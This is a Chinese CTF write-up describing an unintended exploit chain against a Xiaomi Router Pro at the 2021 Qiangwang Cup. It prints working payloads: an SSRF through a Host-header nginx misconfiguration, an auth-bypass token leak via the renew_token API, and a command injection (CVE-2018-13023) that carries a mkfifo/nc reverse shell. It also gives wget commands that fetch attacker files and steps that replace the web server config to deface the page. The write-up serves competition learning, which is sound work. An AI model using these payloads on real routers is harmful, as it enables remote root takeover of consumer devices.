关于我们在强网杯上小米路由器非预期解这件小事

robots

 

在刚刚结束的2021年的强网杯线下总决赛中,我们战队总共解了两道Real World类型的题目(太菜了,流下了不学无术的泪水),其中一道就是关于小米路由器Pro,我们提供了一种主办方没有预料到的解题思路。这篇文章除了是一篇WriteUP提供非预期解的思路外,更多的是对于我第一次在赛场中挖掘RW题目漏洞的一些过程经验以及一些想法与思考

​ 再次感谢队友JBGG师傅Tree师傅的帮助 (>ω<)

PS.1:今年强网杯的酒店确实好了不少,自助餐也很不错哦,就是茶歇会晤经常吃不到茶歇。自己确实也太菜了,之前都在去忙一些学术研究和中科院信工所的夏令营,生疏了很多

PS.2:漏洞内容已经和小米SRC团队进行过沟通,他们表示是内部已知,应该是可以直接公开EXP或者POC的

 

一、前期 – 文件系统提取

​ 比赛一开始,志愿者就给每个队伍发放了一个小米路由器Pro的本体,还有一个U盘,U盘里面存放了所有的RW题目。然后我打开U盘看了看MIROUTE赛题,只有一个index.html,我懵了

​ 这次强网杯比赛真的一开始准备很不充足,也没有预料到真的会直接发一个硬件本体叫选手挖,竞赛网站上也没有硬件的固件下载。真的完全没有准备去要做硬件设备固件提取的工具,看了看隔壁清华Redbud战队的Clang大佬带了烙铁、锡、吸锡带、排针、排线、串口转USB、蓝牙 usb dongle、wifi抓包网卡、抓包树莓派、测试夹、编程器、Arduino等等,工具真的齐全。看了看自己就一台破笔记本,一根网线,心理压力突然剧增

​ 但是没有关系,在两年前曾经参加过小米路由器的内测活动,接触过他们的开发团队,大家都知道几年前小米路由器的固件是有多么拉跨(虽然这两年的AX系列还是挺不错的),所以我坚信这台几年前的小米Pro一定是有洞可以挖的,先看看题目要求把

​ 对于所有的IoT题目而言,最初始的第一步都是提取相应设备的固件或者文件系统。如果准备充分的话,是可以直接用硬件提取出固件系统的,但是,但是我没有。然后发现这台路由器刷写的应该是开发版的ROM,小米路由器开发版的ROM都是可以开始SSH服务的,阅读了一下题目要求,这台小米路由器Pro是已经开启了SSH服务,有了SSH服务就可以进行很多操作了

​ 然后这里我发现断网用LAN口去调试小米路由器很不方便,因为断网没有办法边查资料边探索,于是我想起我们的比赛环境的网络是直接可以连接外网的,于是我将WAN口连接上我们的比赛网络,然后其他队员的电脑连接上路由器的LAN口,这样我们就可以边调试路由器边连接外网查阅资料继续打其他题目,而且多个队员可以同时调试路由器,极大地提高了效率

​ 然后有了SSH服务,我的想法是能否直接通过SFTP服务,将文件系统直接打包Copy下来,然后我发现我错了。小米路由器的开发版固件都是已经把sftp服务删除了的,需要自行安装sftp服务。然后我发现网络上大部分的小米路由器安装sftp服务的教程都已经不适用了,因为现在的固件上都只有\data\tmp目录是有读写权限的。那这怎么办呢,我想了一想,之前自己玩小米路由器3、4的时候,常常会安装一个插件工具箱,这些工具箱常常都会提供,比较常用的就是Misstar Tools工具箱。然后小米路由器4和小米路由器Pro采用的都是同一款MTK基于MIPS的Soc叫做MT7621a的芯片,所以大部分经验应该是相通的

​ 然后我在这台小米路由器Pro上成功部署了Misstar Tools工具箱

但是问题来了,我在这台小米路由器Pro上使用Misstar Tools没有能找到关于sftp的工具,后面我寻找到了另外一款工具箱叫做MIXBOX,浏览页面刚好支持我们的MT7621A系列的小米路由,于是安装上了,这里我使用的是Github的源安装

sh -c "$(curl -kfsSl https://raw.githubusercontent.com/monlor/mbfiles/master/install_github.sh)" && source /etc/profile &> /dev/null

安装完成后的效果

这个时候我们只需要安装一个filebrowser插件就可以很方便的直接浏览提取小米路由器的文件系统,安装后得先启用

然后在浏览器中就可以直接把整个路由器的文件系统下载下来

现在我们就拿到了目标设备的一部分固件和文件系统,可以开始进行漏洞挖掘的工作了

我将赛题的文件系统已经上传到Gitee上了:qwb-miroute

二、漏洞挖掘与利用

2.1 信息收集确定目标

后来竞赛系统提供了路由器管理页面的登陆密码,我们登录进去了,然后可以发现这个路由器的ROM是基于小米路由器Pro 最新的开发版2.13.65,我们从官网上将这个版本的路由器固件下载下来并进行了解包,我们一开始没有将两个版本的固件进行对比(太蠢了,失误了,没经验),我的第一反应是收集小米路由器最近有关的CVE漏洞情况

我们的第一个收集网站就是小米自己的产品安全中心,上面可以看到一些最新的小米产品已知的漏洞信息

我们可以从中得知以下几个已知漏洞:

  • CVE-2020-11960:AX3600路由器解压逻辑错误导致代码执行,c_upload接口在检查备份文件时存在漏洞,使攻击者能够提取/tmp中任何位置的恶意文件,可能导致RCE和DoS
  • CVE-2020-11961:AX3600路由器敏感信息泄露,一个不安全的接口get_config_result没有进行鉴权导致的敏感信息泄露
  • CVE-2020-14904:AX3600路由器后台命令注入绕过,可以通过Web界面注入连接服务,从而导致堆栈溢出或远程执行代码
  • CVE-2020-018:AX3600路由器后台目录穿越,可以通过Web界面注入连接服务,从而导致堆栈溢出或远程执行代码
  • CVE-2020-14100:miwifi6 AX3600后台命令注入绕过,可绕过set_wan6接口中的过滤器,导致远程代码执行。路由器管理员可以从这个漏洞得到root权限
  • CVE-2020-14097:路由器nginx配置错误,错误的nginx配置, 导致特定路径可以被未授权下载
  • CVE-2020-14098:路由器后台鉴权绕过,可利用路由器重启后时间未同步的问题绕过登录校验
  • CVE-2020-14102:路由器后台命令注入,ddns处理hostname时存在命令注入, 导致管理员用户可以获取路由器的root权限
  • CVE-2020-024:路由器web管理界面token泄露,路由器web管理界面的数据采集sdk导致了token的泄露
  • CVE-2020-14099:路由器用户备份文件加密方案存在安全问题,用户备份文件的加密方案使用了硬编码密钥, 导致用户的口令等敏感信息可能被泄露

这几个CVE是长亭公司挖的漏洞,具体可以参考以下几篇文章

然后进行Google Hacking还发现一些小米路由器的历史CVE漏洞,大概有以下几个

  • CVE-2018-14060:小米路由器HD(R3D)远程代码执行漏洞
  • CVE-2018-13023:Command Injection in wifi_access Functionality

我们可以总结出小米路由器系统大概存在以下几个问题:

  • Nginx的配置经常出问题,不乏一些十分严重的配置错误信息
  • 小米路由器会存在一些Token泄露的问题
  • 小米路由器存在后台鉴权绕过
  • 小米路由器使用的是OpenWRT改的系统,采用的图形管理页面也是luci,所以luci采用的lua脚本逻辑控制代码中,应该会存在许多的逻辑处理问题

我们发现长亭的一些漏洞已经被Patch过了,也就是我们手上的固件是已经被修改过的,那么我们这个赛题应该是预埋了漏洞的题目。虽然已经Patch过了,但是我发现很多的lua文件是没有被修改过的,也就是还存在着可以利用的点

2.2 开始挖掘与利用

首先在固件路径/etc/sysapihttpd/sysapihttpd.conf的Nginx配置文件中第361行开始

server {

    location / {
        proxy_pass http://$http_host$request_uri;
    }
}

变量”$http_host”可以包含不受信任的用户输入,导致存在SSRF攻击,SSRF攻击的Payload如下(可以造成SSRF攻击的端口

GET / HTTP/1.1
Host: 127.0.0.1:8960
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Referer: http://192.168.31.1/cgi-bin/luci/web
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: __guid=86847064.961667553213477100.1625900926845.912; monitor_count=1
Connection: close

当成功利用SSRF攻击后,我们还发现luci程序api接口中存在可以绕过鉴权泄露token的漏洞

在\usr\lib\lua\luci\dispatcher关于鉴权的判断,也就是在631行中isremote的判断中存在可以绕过的逻辑,只要ip == "127.0.0.1" and host == "localhost",即可绕过验证

local isremote = ip == "127.0.0.1" and host == "localhost"
if _sdkFilter(track.flag) and not isremote then
    local sdkutil = require("xiaoqiang.util.XQSDKUtil")
    if not sdkutil.checkPermission(getremotemac()) then
        context.path = {}
        luci.http.write([[{"code":1500,"msg":"Permission denied"}]])
            return
        end
    end
    if not isremote and not _noauthAccessAllowed(track.flag) and track.sysauth then
        local sauth = require "luci.sauth"
        local crypto = require "xiaoqiang.util.XQCryptoUtil"
        local sysutil = require "xiaoqiang.util.XQSysUtil"
        local isBinded = sysutil.getPassportBindInfo()

        local authen = type(track.sysauth_authenticator) == "function"
        and track.sysauth_authenticator
        or authenticator[track.sysauth_authenticator]

        local def  = (type(track.sysauth) == "string") and track.sysauth
        local accs = def and {track.sysauth} or track.sysauth
        local sess = ctx.urltoken.stok
        local sdat = sauth.read(sess)
        local user
        if sdat then
            if ctx.urltoken.stok == sdat.token and (not sdat.ip or (sdat.ip and sdat.ip == ip)) then
                user = sdat.user
            end
        else
            local eu = http.getenv("HTTP_AUTH_USER")
            local ep = http.getenv("HTTP_AUTH_PASS")
            if eu and ep and luci.sys.user.checkpasswd(eu, ep) then
                -- authen = function() return eu end
                local logger = require("xiaoqiang.XQLog")
                logger.log(4, "Native Luci: HTTP_AUTH_USER & HTTP_AUTH_PASS")
            end
        end

泄露token的漏洞文件在/usr/lib/lua/luci/controller/api/xqsystem中,漏洞函数renewToken位于第499行

function renewToken()
    local datatypes = require("luci.cbi.datatypes")
    local sauth = require "luci.sauth"
    local result = {}
    local ip = LuciHttp.formvalue("ip")
    if ip and not datatypes.ipaddr(ip) then
        ip = nil
    end
    local session = sauth.available(ip)
    if session and session.token then
        result["token"] = session.token
    else
        local token = luci.sys.uniqueid(16)
        sauth.write(token, {
            user="admin",
            token=token,
            ltype="2",
            ip=ip,
            secret=luci.sys.uniqueid(16)
        })
        result["token"] = token
    end
    result["code"] = 0
    LuciHttp.write_json(result)
end

当利用SSRF伪装成内网访问这个API的时候就可以泄露一个Token,利用payload如下

curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/renew_token -H 'Host: localhost'

漏洞验证成功返回token

(base) syc@ubuntu:~/Desktop/miroute/qwb-miroute$ curl -v http://192.168.31.1:8197/cgi-bin/luci/api/xqsystem/renew_token -H 'Host: localhost'
*   Trying 192.168.31.1:8197...
* Connected to 192.168.31.1 (192.168.31.1) port 8197 (#0)
> GET /cgi-bin/luci/api/xqsystem/renew_token HTTP/1.1
> Host: localhost
> User-Agent: curl/7.71.1
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Transfer-Encoding: chunked
< Connection: close
< Tx-Server: MiXr
< Date: Sun, 11 Jul 2021 03:55:43 GMT
< Cache-Control: no-cache
< Expires: Thu, 01 Jan 1970 00:00:01 GMT
< MiCGI-Switch: 0 1
< MiCGI-Client-Ip: 127.0.0.1
< MiCGI-Host: localhost
< MiCGI-Http-Host: localhost
< MiCGI-Server-Ip: 127.0.0.1
< MiCGI-Server-Port: 80
< MiCGI-Status: CGI
< MiCGI-Preload: no
< XQ-Mark: subfilter
< 
* Closing connection 0
{"token":"1182ef5f4df21732ef537e0ec7698e78","code":0}(base)

通过泄露Token后,发现Command Injection in wifi_access Functionality (CVE-2018-13023)漏洞没有被修复,利用这个CVE进行漏洞注入,即可获得root权限的反射shell,具体的payload如下:

GET /cgi-bin/luci/;stok=bf632940b33ef5ffdf7b55b6c80ae94b/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=sns&grant=1&guest_user_id=guid&timeout=%3bmkfifo+/tmp/p%3bcat+/tmp/p|/bin/sh+-i+2>%261|nc+192.168.31.62+8888+>/tmp/p+%23 HTTP/1.1
Host: localhost
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Referer: http://192.168.31.1/cgi-bin/luci/web
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

即可实现针对小米路由器的RCE,具体针对这个赛题,我们在拿到具有root权限的Shell后,发现小米路由器Pro的大部分分区都已经硬件完成的只读,只有\data\tmp两个区域是可读写的,而路由器的登录页面存在于\www目录,那如何成功修改我们的黑页呢?

我们采取的手段是强行停止路由器的HTTP服务器,重新书写配置文件,将重新运行的路由器HTTP服务器默认目录指向我们布置在\data分区的黑页,即可完成最后的黑页修改

关闭web服务:

/usr/sbin/sysapihttpd -c /etc/sysapihttpd/sysapihttpd.conf  -s stop

下载test.conf与index.html:

wget http://192.168.31.62:60080/test.conf && wget http://192.168.31.62:60080/index.html

我们jbgg编写的conf:

user root root;
worker_processes  1;
worker_rlimit_nofile 512;
worker_priority -5;
daemon on;

error_log stderr warn;


events {
  use epoll;
  worker_connections  256;
}

http {
  default_type  application/octet-stream;


  log_format main '"$server_addr"\t"$host"\t"$remote_addr"\t"$time_local"\t"$request_method $request_uri"\t"$status"\t"$request_length"\t"$bytes_sent"\t"$request_time"\t"$sent_http_ MiCGI_Cache_Status"\t"$upstream_addr"\t"$upstream_response_time"\t"$http_referer"\t"$http_user_agent"';

  access_log off;

  sendfile    on;
  #tcp_nopush   on;

  server_tokens off;

  keepalive_timeout  0;

  client_max_body_size 0;

  fastcgi_connect_timeout 300;
  fastcgi_read_timeout 300;
  fastcgi_send_timeout 300;
  #fastcgi_buffering off;
  fastcgi_buffer_size 64k;
  fastcgi_buffers   4 32k;
  fastcgi_busy_buffers_size 64k;
  fastcgi_temp_file_write_size 64k;

  server {
    listen 80;
    server_name  _;
    access_log  off;

    log_not_found off;

    keepalive_timeout  0;

    send_timeout 60m;

    root /tmp;
    index index.html index.htm;

    reset_timedout_connection on;

    expires epoch;
  }
 }

然后重启HTTP服务器,完成黑页的修改:

/usr/sbin/sysapihttpd -c /tmp/test.conf

ROIS PWN!

这里可以参考淼哥大佬的环境复现指南:

cp -r /usr/lib/lua/ /tmp/
vi /tmp/lua/traffic.lua
mount -o loop /tmp/lua/ /usr/lib/lua/
  • 可以开始复现了

 

四、结尾

HACKED BY ROIS的字符打在大屏幕的时候,内心的激动是难以言喻的,这也算是自己进入CTF生涯以来,第一次现场对真实环境挖掘漏洞,并真的成功进行利用了。真的是太激动了,熬夜了一个晚上的努力最终有了成果

后来从主办方和出题人方面了解到,我们通过SSRF进而绕过鉴权是这个比赛的非预期解,也是主办方没有挖到的漏洞。算上我们一共3个队伍是拿token做的,还有1个队伍是某服务堆溢出做的

关于正规的预期解可以查看清华Redbud战队的Clang大佬和淼哥两位IoT领域大佬的WP,主要就是利用了一个traffic.lua的服务。强烈建议多看看Clang大佬的博客,对于IoT设备的漏洞挖掘有很深的帮助,他还是HWS夏令营的培训导师。在2019年的XCTF福州营认识他,那时候我还是大一的学生,开启了对于IoT漏洞挖掘的新世界

2021年强网杯的RW题目的百度云盘链接如下:

https://pan.baidu.com/s/1ax_Vl7ModeuZbBZ4u1QOeQ 提取码: ypxu

我大概得出了以下经验:

  • 要学会利用先用的工具快速的完成一些基础操作
  • 要尽量去收集一些既有的CVE漏洞可以快速的找到挖掘的方向
  • 对于挖掘真实环境的漏洞,单一技能树是不行的,一定要掌握多种技能树,因为现实的环境是复杂的
  • 对于既有固件或者源码可以进行对比,快速定位Patch或者不同点,也可以快速发现挖掘的方向

再次感谢队友们,和之前帮助过的老师与师傅们

(完)